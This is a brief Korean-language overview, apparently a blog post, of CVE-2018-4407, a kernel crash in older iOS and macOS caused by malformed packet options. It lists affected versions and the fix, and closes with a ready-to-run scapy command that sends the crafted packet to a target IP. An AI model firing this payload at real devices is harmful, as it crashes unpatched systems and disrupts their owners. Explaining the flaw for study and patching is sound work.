
CVE-2018-4407 개요 및 구현
원리는 "icmp" 패킷의 다른 필드를 비정상적으로 만들어 macOS 또는 iPhone 커널이 파싱할 때 크기 검사를 구현하지 않아 crash가 발생하게 하는 것입니다.
Apple iOS 11 및 이전 버전: 모든 기기
Apple macOS High Sierra(영향을 받는 최신 버전은 10.13.6): 모든 기기
Apple macOS Sierra(영향을 받는 최신 버전은 10.12.6): 모든 기기
Apple OS X El Capitan 및 이전 버전: 모든 기기
Apple은 10월 30일에 출시한 "iOS 12.1" 업데이트에서 이 취약점을 완전히 수정했습니다.
pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))